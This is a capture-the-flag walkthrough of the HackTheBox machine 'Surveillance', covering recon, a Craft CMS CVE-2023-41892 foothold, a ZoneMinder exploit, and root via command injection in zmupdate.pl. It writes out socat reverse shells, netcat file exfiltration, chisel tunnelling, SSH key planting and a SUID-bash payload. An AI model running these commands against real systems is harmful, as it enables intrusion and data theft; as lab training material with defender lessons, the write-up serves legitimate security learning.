INTRODUCTION
At the time of writing this walkthrough, Surveillance is still an active box. This one is all about breaking into a fictional company called that installs and operates physical security systems, such as security cameras and door access control. Surveillance is slightly long for a Medium box, involving many rabbit-holes and escalation between three users. However, if you keep your checklists handy and take good notes, this box won’t be too challenging.
Recon on this one is trivial, although it’s easy to accidentally get bogged-down with too much enumeration. Finding the method for a foothold is very simple, but exploiting it might be challenging (luckily, I found some perfect PoC code). The user flag is more challenging, requiring escalation to yet another user - my recommendation: poke around the filesystem manually a bit before you do too much automatic enumeration.
The process for finding the user flag has several rabbit-holes. However, at this stage you’re actually able to escalate to two different users! While the privesc vector to root is very obvious, obtaining the root flag is much more challenging if you don’t know what you’re looking for - it requires careful analysis of a large body of code; be creative and try lots of different methods to abuse the code you find. In my case, it was only after researching the errors from my various privesc attempts that eventually led me to the flag.
RECON
nmap scans
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
68/udp open|filtered tcpwrapped
161/udp open|filtered snmp
500/udp open|filtered isakmp
593/udp open|filtered tcpwrapped
623/udp open|filtered asf-rmcp
1027/udp open|filtered unknown
1029/udp open|filtered solid-mux
1434/udp open|filtered ms-sql-m
5060/udp open|filtered sip
10000/udp open|filtered ndmp
30718/udp open|filtered tcpwrapped
49182/udp open|filtered unknown
49190/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the nmap scan, I added surveillance.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=surveillance.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
Looks like a redirect to http://surveillance.htb. It’s powered by Craft CMS
, that’s not super common (at least from what I’ve seen).
Depending on the version,
Craft CMS
might have some vulnerabilities:
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
Alright, that’s the one I already knew about - nothing else though. Now I’ll check for subdomains of surveillance.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that. I’ll move on to directory enumeration on http://surveillance.htb. This time I’ll use gobuster:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
gobuster dir -w $WLIST -u http://$DOMAIN \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-$DOMAIN.txt" \
--no-error
Directory enumeration against http://surveillance.htb/ gave the following:
😅 HTTP 418, nice. Apparently when we visit /wp-admin
the server becomes a teapot. Truly the original IOT! That’s a whole lot of noise though. I’ll try ffuf instead:
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ \
-t 80 -c -o fuzzing/directory-ffuf-$DOMAIN \
-of json -e php,asp,js,html -timeout 4
The scan isn’t complete yet, but the above results are already a little more helpful. It also found the main .htaccess
file. Typically, this file shouldn’t be publicly visible:
<IfModule mod_rewrite.c>
RewriteEngine On
# Send would-be 404 requests to Craft
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/(favicon\.ico|apple-touch-icon.*\.png)$ [NC]
RewriteRule (.+) index.php?p=$1 [QSA,L]
</IfModule>
I wasn’t familiar with how that final rule worked, so I asked ChatGPT about it. The info it provided was very informative:
- RewriteRule: This indicates that a rewrite rule is being defined.
- (.+): This is a regular expression pattern that captures one or more characters (.+) and stores them in a backreference. This part captures the path information from the requested URL.
- index.php?p=$1: This is the substitution part of the rule. It rewrites the URL to the specified target. In this case, it rewrites to
index.php
with a query parameterp
set to the value captured by the regular expression pattern ($1, the first and only backreference).- [QSA,L]: These are flags that modify the behavior of the rule:
- QSA (Query String Append): This flag appends the original query string to the rewritten URL. For example, if the original URL was
example.com/page?param=value
, the rewritten URL would becomeindex.php?p=page¶m=value
.- L (Last): This flag indicates that if this rule is applied, no further rules should be processed for this request.
LFI Enumeration
🚫 Wrong way. Skip this part if you are short on time.
Perhaps this is indicative of a possible LFI? I’ll try pointing my new directory traversal and LFI tool, Alfie, at /index.php?p=
and see if it comes up with anything:
Alfie is a bit like what you might get if you mixed dotdotpwn and ffuf together 😉
No positive results. When I checked the --verbose
output of Alfie, I realized that all of the requests were yielding responses of different sizes. To investigate, I checked out the page source and discovered one use for the /index.php?p=
query:
Fuzzing p=actions/
🚫 Wrong way. Skip this part if you are short on time.
There appears to be a page /index.php?p=actions/
that I haven’t seen yet. I’ll check that out next, but first I’ll fuzz that ?p=
parameter:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/index.php?p=FUZZ \
-t 80 -c -o fuzzing/p-parameter-ffuf-index \
-of json -e php,js,html -timeout 4
The result was the same as the directory and file enumeration that I did earlier. However, that page /index.php?p=actions/
has a slash on the end - maybe it is some kind of API with multiple actions? If that’s the case, I should be able to find some of those actions with yet another ffuf scan:
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/index.php?p=actions/FUZZ \
-t 80 -c -o fuzzing/actions-ffuf-index -of json -timeout 4 -b 'CRAFT_CSRF_TOKEN=4e3489f3e3624b4f8e55b2310c59186d949d301a4e870b837657b30be40b9ed8a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22tmmFkE9eUUFhFzB_B8Ti0nW5EodX58Ldkk-i2s29%22%3B%7D; CraftSessionId=99j6etlacb381u7078cv8kukf2' -mc all -fw 352 -fs 0
☝️ After proxying a few requests to
surveillance.htb
through Burp, I noticed that there is a CSRF token and a CraftSessionID, and that both of these seem static.Just to be safe, I included them in the ffuf scan.
Very interesting! I checked each of the pages. /index.php?p=actions/install
showed a simple message:
All of the pages with a HTTP 403 Unauthorized code show the same thing. Interesting mostly because it implies that there are proper credentials that exist (I just don’t have them yet!):
Both of the pages with HTTP 404 show exactly what you might assume:
Last but not least, the really interesting one was /index.php?p=actions/redirect
:
I sent this to Burp repeater to play around with it a bit. Unfortunately I couldn’t get it to redirect me to any page, local or external (ex. a webserver I started from my attacker box). I found an Issue on the CraftCMS github repo talking about this redirect action, but apparently it was fixed before version 4.0 (the box is running version 4.4.14 - see below).
So, while the open-redirect was a good hunch, it no longer applies… I’ll have to keep looking.
Exploring the Website
The website appears to be a landing page for a company that installs and configures surveillance equipment, like security cameras and smart door controls:
Checking the reference to Craft CMS
mentioned in the footer, the website claims to be using version 4.4.14, which is not vulnerable to anything I saw in searchsploit earlier.
As seen during directory enumeration, attempting to visit the /admin
page redirects to a login:
Even though searchsploit didn’t reveal any exploits for Craft CMS, I decided to try doing a quick web search for “CraftCMS vulnerability 4.4.14”. The very first result was a NIST CVE entry with a score of 9.8 👊 It’s for CVE-2023-41892 and has a link at the bottom to some PoC code, apparently already submitted as a Metasploit module.
FOOTHOLD
CVE-2023-41892
Looking through some other PoC code for this CVE, it looks like it’s exploited by doing an insecure file upload of an image payload that exploits an Imagick vulnerability. To be honest, I would have never found this myself!
I checked to see if I had that exploit already locally:
Yep, there it is! I’ll try it out:
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
# In MSFconsole
set RHOSTS 10.10.11.245
set RPORT 80
set LHOST tun0
set SSL false
It didn’t work though. To be fair, it didn’t pass the check either:
Drats. I went looking for other exploits. A quick search on Github for CVE-2023-41892 gave three results; I chose to try the Python one with the most stars first, which (at the time of writing this) is this exploit by @Faelian. The exploit itself was completely point-and-shoot:
git clone https://github.com/Faelian/CraftCMS_CVE-2023-41892.git
chmod +x craft-cms.py
./craft-cms.py http://surveillance.htb
👏Excellent! Now to make a reverse shell and do as the exploit says (delete shell.php
behind me). It looks like socat
is available on the target, so I’ll do a socat
reverse shell:
# On attacker box:
bash
rlwrap socat -d TCP-LISTEN:4444 STDOUT
# On target box:
socat TCP:10.10.14.9:4444 EXEC:bash
Upgrade the shell
For more details, please see my guide on upgrading the shell. Here’s what I did on this box:
which python python3 perl bash # python3 is present
python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash
USER FLAG
Enumeration: www-data
I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results:
There are three users with home directories:
matthew
,zoneminder
, androot
In the parent directory of where I got a reverse shell, there is an
.env
file with MySQL credentials (see below)The box has lots of tools:
nc, netcat, socat, curl, wget, python3, perl, php, tmux
Netstat shows a couple services listening to local connections, probably HTTP and MySQL:
www-data
can write to several directories. Notably, there are a bunch of mentions tozm
in several of the directories.find / -user $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)' | grep -v vendor
I’ll check out some of these directories after initial enumeration:
/tmp/zm
,/var/log/zm
,/usr/share/zoneminder
,/var/cache/zoneminder
, and/var/lib/zm
🚩
Ok, so that’s three leads to investigate:
- MySQL credentials from
.env
file - probably for listener on 127.0.0.1:3306 - Listener on 127.0.0.1:8080 (probably a webserver)
- All those
zm
andzoneminder
directories.
Lead #1: MySQL
As mentioned above, there is an .env
file in /var/www/html/craft
. It looks like we have some MySQL credentials in there.
# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7
# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production
# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_
# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=
# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false
Getting my tools
So that I can connect to MySQL comfortably from my attacker box, I’ll start up a proxy. For this, I’ll use chisel. But first, I need to get chisel onto the target. I’ll stand up a python http server from my attacker machine to host my standard toolbox, which contains chisel:
# Open up a firewall port for the http server and for chisel server
sudo ufw allow from $RADDR to any port 8000,9999 proto tcp
cd ~/MyToolbox
# Run chisel and background it (or just use another terminal window/tab)
./chisel server --port 9999 --reverse --key MyS3cr3tK3y &
# Start the webserver to serve the Toolbox to the target
python3 -m http.server 8000
☝️ Note: I already have proxychains installed on my attacker machine, and my
/etc/proxychains.conf
file ends with:... socks5 127.0.0.1 1080 #socks4 127.0.0.1 9050
Then, on the target box:
# Set up a hidden directory in tmp to download tools to
mkdir -p /tmp/.Tools
cd /tmp/.Tools
# Download each tool that might be useful, such as chisel
wget http://10.10.14.3:8000/chisel && chmod 755 chisel
# Form the proxy connection and background it
./chisel client 10.10.14.3:9999 R:1080:socks &
Back on my attacker box, I like to test the proxy connection by doing a banner-grab of the python webserver hosting my toolbox. By doing this, I’ve tested the whole round-trip connection (attacker -> target -> attacker):
proxychains whatweb http://10.10.14.9:8000
Now that I have a proxy set up, I’ll connect to the database using the credentials I found in the .env
file: craftuser : CraftCMSPassword2023!
proxychains mysql -h 127.0.0.1 -D craftdb -u craftuser -p
show tables; # found table: users
describe users; # username, email, password, etc
select username, password, hasDashboard, admin from users;
Excellent, there’s a password hash. Maybe I’ll be able to crack it?
Finding & cracking hashes
🚫 Wrong way. Skip this part if you are short on time.
Although the $2y
gives it away, we can verify that this is a bcrypt has by using name-that-hash
:
🤞 Ok, I’ll toss it into john
and hope for a result:
echo '$2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe' >> hash.txt
WORDLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt
hashcat -m 3200 hash.txt $WLIST
While that is running, I’ll check out all those zm
/ zoneminder
directories…
Lead #3: zm and zoneminder dirs
The /usr/share/zoneminder
directory is especially interesting. There appears to be a subdirectory for a webserver, and another for a database! I’ll tar
them up and send it to my attacker box for analysis:
# On attacker box:
sudo ufw allow from $RADDR to any port 4445 proto tcp
nc -lvnp 4445 > zoneminder.tar.gz
# On target box:
cd /usr/share
tar -czvf /tmp/.Tools/zoneminder.tar.gz ./zoneminder
cd /tmp/.Tools
nc -nv 10.10.14.9 < zoneminder.tar.gz
# After a short while, terminate the connection from attacker
[Ctrl+C]
# Then, on BOTH boxes do checksum
shasum zoneminder.tar.gz # they match
The db
directory holds a file zm_create.sql
, clearly a database initialization script, with a reference to an admin user and their password hash:
There are also a bunch of other logs of updates to the database, but I’ll check that later. For now, I’ll add that hash to the list and restart my cracking:
[Ctrl+C]
echo '$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6' >> hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt
Upon further inspection, it appears to use InnoDB, and holds all the data necessary for viewing camera streams - presumably security cameras.
Neither hashcat
nor john
seem to be able to crack these hashes.
Lead #2: Webserver on port 8080
Now that I have a socks5 proxy running using chisel, it’s easy to check out the webserver that’s listening on the target box on port 8080. Just open it in the browser, using proxychains.
☝️ I had to close all of my tabs in that browser before attempting to connect to this other one over proxychains. It was trying to pipe all kinds of random web requests through the proxy. Best to just keep it isolated.
proxychains firefox http://127.0.0.1:8080
I tried some obvious/default credentials. I already knew from the zm_create.sql
file that admin
should be a valid user, but didn’t know a password. No luck. In lieu of another obvious lead, I’ll go back to enumeration.
Back to linpeas
Linpeas seems to have found something interesting:
It also highlighted a few files inside /var/www/html/craft/
, the directory where I initially entered with the webshell (and reverse shell). 🤔 Did I look through this fully? I’m not so sure that I did - I found that .env
file and got way off track, thinking that was my best lead.
Surveillance db backup
Taking another look at that directory, there is a subdirectory /storage
that seems interesting. Even better, inside /storage
is a backup - surveillance--2023-10-17-202801--v4.4.14.sql.zip
. 😸 It looks like a zip of a database backup script. I’ll transfer the zip to my attacker box so I can analyze it more comfortably.
# On attacker box:
nc -lvnp 4445 > surveillance--2023-10-17-202801--v4.4.14.sql.zip
# On target box:
nc -nv 10.10.14.9 < surveillance--2023-10-17-202801--v4.4.14.sql.zip
# After a short while, terminate the connection from attacker
[Ctrl+C]
# Then, on BOTH boxes do checksum
shasum surveillance--2023-10-17-202801--v4.4.14.sql.zip # they match
There was only one file within the zip, so I manually looked through it. I found something very interesting:
That looks like a password hash for the admin user, but it’s not even salted!
There’s a perfect tool for cracking unsalted hashes: the website https://crackstation.net/. It has a massive database of unsalted hashes and their corresponding passwords, in a variety of formats. Better yet, it’s almost instantaneous because it’s simply a lookup table.
I plugged that hash into crackstation.net and - as I had hoped - it found a password right away! 😁
Alright, so we have the credential admin : starcraft122490 for the surveillance
webserver. I’ll try it out on the http://surveillance.htb/admin/login
page:
😑 Nope. It’s not a valid credential anymore for the Craft CMS site. But maybe there’s some credential re-use at play? I’ll try the zm website on port 8080:
😵 What?! Nice! I’ll admit, I wasn’t expecting that.
I took a thorough look through the web app itself. As the database scripts indicated, ZoneMinder looks like the system that you’d use to monitor a bunch of camera feeds from. You can add cameras, groups, and pull video “montages”. Since there are no cameras registered, the only important-looking information was:
- The listening RTP ports for cameras
- The security configuration. It could be downgraded, but there is no point in doing that now that I have a valid login.
What about credential re-use. If I’m really lucky, this is the password for matthew
:
ssh matthew@$RADDR # use password "starcraft122490"
🎉 Alright! Success. The SSH connection drops you into /home/matthew
, adjacent to the user flag. Simply cat
it out for the points:
cat user.txt
ROOT FLAG
Enumeration: matthew
I’ll repeat my usual Linux User Enumeration strategy. These are the conspicuous results:
- Linpeas highlighted some things… honestly, I don’t know what to make of it:
- Checking the kernel version with
uname -a
shows that this box is running a surprisingly old Linux kernel:5.15.0-89-generic
. It looks like it might be vulnerable to DirtyPipe. I’ll check that out next 🚩
DirtyPipe
🚫 Wrong way. Skip this part if you are short on time.
HackTheBox has a blog post regarding CVE-2022-0847 aka “DirtyPipe”, if you want to read more about it. It mentions that this vulnerability was patched in 5.15, but only at 5.15.25 (after the kernel version of this box)
I checked searchsploit
for a DirtyPipe exploit and, of course, there was one present:
The exploit is a C program. Thankfully, the target has a gcc
already. I’ll transfer the source code over to the target using my python webserver.
After transferring the C code, I compiled with gcc -o dirtypipe 50808.c
and ran it. The exploit relies on hijacking an existing SUID program, so I got a list of all SUID binaries:
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'
I tried the exploit using both /usr/bin/passwd
and /usr/bin/sudo
, but unfortunately neither worked 🤷♂️.
Next, I tried another DirtyPipe exploit that works slightly differently - the one the HTB article suggests. It writes a new, known password into /etc/passwd
for the root user, so you can escalate using that. Seemed promising, but it didnt work either.
While doing that, I did notice something though: there were a whole bunch of binaries (actually a bunch are perl scripts) in /usr/bin
that were conspicuously prefixed with “zm” - probably for zoneminder…
🤔 I bet I need to pivot to the user zoneminder
for privilege escalation.
Note to self: there is also /etc/zm which is not accessible to
matthew
. Might be important later?
Pivot to zoneminder
It’s clear that the ZoneMinder web app is being ran by the user zoneminder
. So it seems like the clear choice to try to use the web app to pivot to the user. Is there an exploit for it?
First, I’ll need to find out what version it’s running. I remember seeing the version written down somewhere in the web app itself, so I simply opened the page with proxychains firefox http://127.0.0.1:8080
and logged back in using the admin : starcraft122490 credentials from earlier. The version number is on the righthand side of the banner:
Ok, so it’s running v1.36.32. Now I’ll check searchsploit:
Only 51071.py is applicable. However, it’s a Log injection & Stored XSS & CSRF Bypass… Fine but not idea - I’ll look on Github and see if I can find an RCE exploit for it.
Thankfully, a simple search on github for “zoneminder CVE exploit” showed a short list of exploits, one of which definitely applies to v1.36.32, and is actually written by the same author as the CraftCMS exploit I used earlier!
😅 Probably not a coincidence.
The exploit looks very easy to use, and even includes its own checks. See this repo to download it. Again, it looks pretty much point-and-shoot.
Thankfully I still have my socks5 proxy going, so exploiting zoneminder was no trouble at all:
proxychains ./zoneminder.py http://127.0.0.1:8080 'socat TCP:10.10.14.9:4445 EXEC:bash'
I’m very happy to say that it worked like a perfectly. Thank you again, @Faelian!
⭐ Reader: if you used that exploit I encourage you to leave that repo a star. It’s very handily written and worked instantly.
The user zoneminder
has a home directory, so I’ll go ahead and plant an SSH key so I don’t need to re-exploit the box.
First, on my attacker box, generate a key and base-64 encode it:
# used passphrase "c0nd0r":
ssh-keygen -t rsa -b 4096
chmod 700 ./id_rsa
# copy output to clipboard
base64 -w 0 id_rsa.pub > id_rsa.pub64 && cat id_rsa.pub64
Then, on the target box, make an SSH directory and plant the key:
mkdir -p ~/.ssh
cd ~/.ssh
echo "c3NoLXJz[...snip...]thbGkK" | base64 -d > authorized_keys
Now back on the attacker box, go ahead and connect using SSH:
ssh -i ./id_rsa zoneminder@$RADDR
Great - that was successful 👍
Enumeration: zoneminder
As is my usual first step when I reach a new user, I checked what they’re able to sudo, with sudo -l
:
Aha! I knew all those “zm” scripts in /usr/bin
looked suspicious! 😁
Script analysis
I archived the scripts together and transferred them to my attacker machine so I could analyze them more comfortably:
# On target box:
cd /usr/bin
tar -czvf /tmp/.Tools/perl-scripts.tar.gz ./zm[a-zA-Z]*.pl
# On attacker box:
scp -i ./id_rsa zoneminder@$RADDR:/tmp/.Tools/perl-scripts.tar.gz ./perl-scripts.tar.gz
tar -zxvf perl-scripts.tar.gz
There is a LOT of code here. I don’t think I can do a good job of manually reviewing all of this code for vulnerabilities.
It doesn’t help that I’m not very good with
perl
😑
After reading through some of the code, I noticed that there were a few calls to qx
, which executes shell commands. Perhaps one of these could lead to command injection?
grep -E 'qx\(' ./zm[a-zA-Z]*pl
That shows zmcamtool.pl
, zmdc.pl
, zmfilter.pl
, zmpkg.pl
, zmsystemctl.pl
, zmtelemetry.pl
, zmupdate.pl
, and zmvideo.pl
. One of these is probably the privesc vector.
zmcamtool.pl
🚫 Wrong way. Skip this part if you are short on time.
For example, this below snippet of zmcamtool.pl
seems vulnerable, right? Usage of the script is this:
zmcamtool.pl [--user=<dbuser> --pass=<dbpass>]
[--import [file.sql] [--overwrite]]
[--export [name]]
[--topreset id [--noregex]]
i.e. the database username and password are controlled inputs.
my ( $host, $port ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
my $command = 'mysqldump -t --skip-opt --compact -h'.$host;
$command .= ' -P'.$port if defined($port);
if ( $dbUser ) {
$command .= ' -u'.$dbUser;
if ( $dbPass ) {
$command .= ' -p'.$dbPass;
}
}
my $name = $ARGV[0];
if ( $name ) {
if ( $name =~ /^([A-Za-z0-9 ,.&()\/\-]+)$/ ) { # Allow alphanumeric and " ,.&()/-"
$name = $1;
$command .= qq( --where="Name = '$name'");
} else {
print "Invalid characters in Name\n";
}
}
$command .= " zm Controls MonitorPresets";
my $output = qx($command);
my $status = $? >> 8;
if ( $status || logDebugging() ) {
chomp( $output );
print( "Output: $output\n" );
}
So it seems like I should be able to inject a command simply by terminating the mysqldump
command and tacking on another one, and I could use either the dbUser
or dbPass
variables to do so. However, this doesn’t work in practice:
sudo /usr/bin/zmcamtool.pl --export --user='zmuser' --pass='ZoneMinderPassword2023; touch /tmp/.Tools/ITWORKED'
But all I get as output is this cryptic error: Insecure dependency in `` while running with -T switch at /usr/bin/zmcamtool.pl line 366. I even get this error when using the program as it was intended:
sudo /usr/bin/zmcamtool.pl --export --user='zmuser' --pass='ZoneMinderPassword2023'
Clearly a bug! ☹️
A web search about this error brought me to this StackOverflow question. Apparently, you get that message when running a Perl program with the -T
switch and the program attempts to perform an insecure operation (like qx(...)
)on an unsanitized input that originates from outside the program. Apparently, Perl has this concept of “tainted” variables; a variable that can be controlled externally then used without sanitization is considered “tainted”. I had no idea! Pretty neat, Perl.
In short, the above code only “detaints” the $name
variable, and throws this error because I’ve included input for pass
without “detainting” it.
zmfilter.pl
🚫 Wrong way. Skip this part if you are short on time.
This code in zmfilter.pl
would work, if only I could connect to the database and introduce a filter of type AutoExecuteCmd
:
🤔 I did find a password for the database earlier on, using linpeas
. I’ll try logging in using that password:
mysql -h localhost -D zm -u zoneminder -pZoneMinderPassword2023 # nope
mysql -h localhost -D zm -u zm -pZoneMinderPassword2023 # nope
mysql -h localhost -D zm -u root -pZoneMinderPassword2023 # nope
Hmm. Maybe I missed something in that file? The file was /usr/share/zoneminder/www/api/app/Config/database.php
. I’ll grep it:
grep -B 10 -A 10 ZoneMinderPassword2023 /usr/share/zoneminder/www/api/app/Config/database.php
Oh, duh! The username is zmuser, not “zm” or “zoneminder”
mysql -h localhost -D zm -u zmuser -pZoneMinderPassword2023 # yep!
Inside the database is the Filters
table:
Great, I’ll just find one filter, set the AutoExecute
bit, and write an AutoExecuteCmd
to escalate privilege (maybe copy over an SUID bash?). For now, I’ll just try a touch
:
Even then, it still doesn’t work… The script complains that it can’t find the filter:
I got a similar error whether I used any combination of quotation marks or even
--filter_id=3
zmupdate.pl
After checking zmpkg.pl
, zmsystemctl.pl
, and zmtelemetry.pl
, I finally found some other code that looks vulnerable, this time in zmupdate.pl
.
Just like in the previous scripts, I searched the script for any instances of “qx(
” and gave special attention to those spots.
my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
my $command = 'mysqldump';
if ($super) {
$command .= ' --defaults-file=/etc/mysql/debian.cnf';
} elsif ($dbUser) {
$command .= ' -u'.$dbUser;
$command .= ' -p\''.$dbPass.'\'' if $dbPass;
}
if ( defined($portOrSocket) ) {
if ( $portOrSocket =~ /^\// ) {
$command .= ' -S'.$portOrSocket;
} else {
$command .= ' -h'.$host.' -P'.$portOrSocket;
}
} else {
$command .= ' -h'.$host;
}
my $backup = '/tmp/zm/'.$Config{ZM_DB_NAME}.'-'.$version.'.dump';
$command .= ' --add-drop-table --databases '.$Config{ZM_DB_NAME}.' > '.$backup;
print("Creating backup to $backup. This may take several minutes.\n");
($command) = $command =~ /(.*)/; # detaint
print("Executing '$command'\n") if logDebugging();
my $output = qx($command);
my $status = $? >> 8;
if ( $status || logDebugging() ) {
chomp( $output );
print( "Output: $output\n" );
}
It’s remarkably similar to the snippet I showed earlier in zmcamtool.pl
: both build up a mysqldump
command through successive concatenation. This one, however, “detaints” the user-controlled input in a horrendously insecure way 😁
($command) = $command =~ /(.*)/;
is what you do when you want to bypass the whole “taint” mechanism.
The usage of the script is like this:
zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version> [-u <dbuser> -p <dbpass>]
The vulnerable runs within the sub patchDB
, which is only called if a version is specified. It looks like I should be able to inject a command using either the -u
or -p
arguments. I just need to include an extra command then bypass the rest of the command (ex. with echo
):
sudo /usr/bin/zmupdate.pl --version=1.24.2 -u 'zmuser; touch /tmp/.Tools/zm-test/ITWORKED; echo' -p 'ZoneMinderPassword2023'
While I was playing with that, I had watch -n 05 /tmp/.Tools/zm-test
running in another pane.
Alright, it worked! Should be easy to escalate to root now 😉
sudo /usr/bin/zmupdate.pl --version=1.24.2 -u 'zmuser; cp /usr/bin/bash /tmp/.Tools/zm-test/bash; chmod 4755 /tmp/.Tools/zm-test/bash; echo' -p 'ZoneMinderPassword2023'
Finally, this worked. Just escalate with ./bash -p
and read the flag with cat
🤠
cat /root/root.txt
LESSONS LEARNED
Attacker
Google first, then enumerate. As soon as you fingerprint some software on your target, go straight to a search engine and explore what known vulnerabilities exist. There’s no benefit to “re-inventing the wheel” when searching for vulnerabilities. If you want the extra learning, put that brainpower to use in writing a new exploit or scanner for the vulnerability instead.
Manually verify privesc scripts. I accidentally wasted quite a bit of time on this box when seeking the privilege escalation to
zoneminder
. In truth, I had already seen a mention of the file I needed to examine, back when I ranlinpeas
for the first time. However, I didn’t loop back and examine the file that it highlighted. Leading to my next point…Keep a queue of “leads” in your notes as you’re working through a box. Even if it’s just a tiny reference to other notes you’ve taken, it’s an absolutely invaluable practice for keeping yourself on-track and progressing towards a solution.
Grep for insecure code. This can be part of a “working backwards” approach: if you already know what effect you want some code to produce, you can
grep
through the code to see what might possibly produce that effect. From there, continue working backwards until you find user-controlled inputs - once you work all the way backwards, you might have found your exploit!
Defender
Mind your backups. Try to think of which users’ sensitive info might be contained in a backup. Then, among that group, whomever has the tightest security should be the holder of the backup file. Naturally, this is a little more challenging when a backup might contain multiple users’ sensitive info and they are effectively peers of the same privilege and security.
Stay updated. This box relied on the attacker leveraging two CVEs, both of which had already been patched for the current versions of their software. Be sure to do your updates in a timely manner, especially for public-facing systems like Craft CMS.
Don’t circumvent security controls. Privilege escalation to root on this box required that we abuse some ZoneMinder scripts. While perl has a concept of “tainted” variables, the script that led to privesc contained the anti-pattern of “untainting” a variable by running it through the match-anything regex
.*
- clearly a bad idea. If you’re tempted to bypass a well-intentioned security mechanism like this, take a hard look at yourself and how you got this point.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake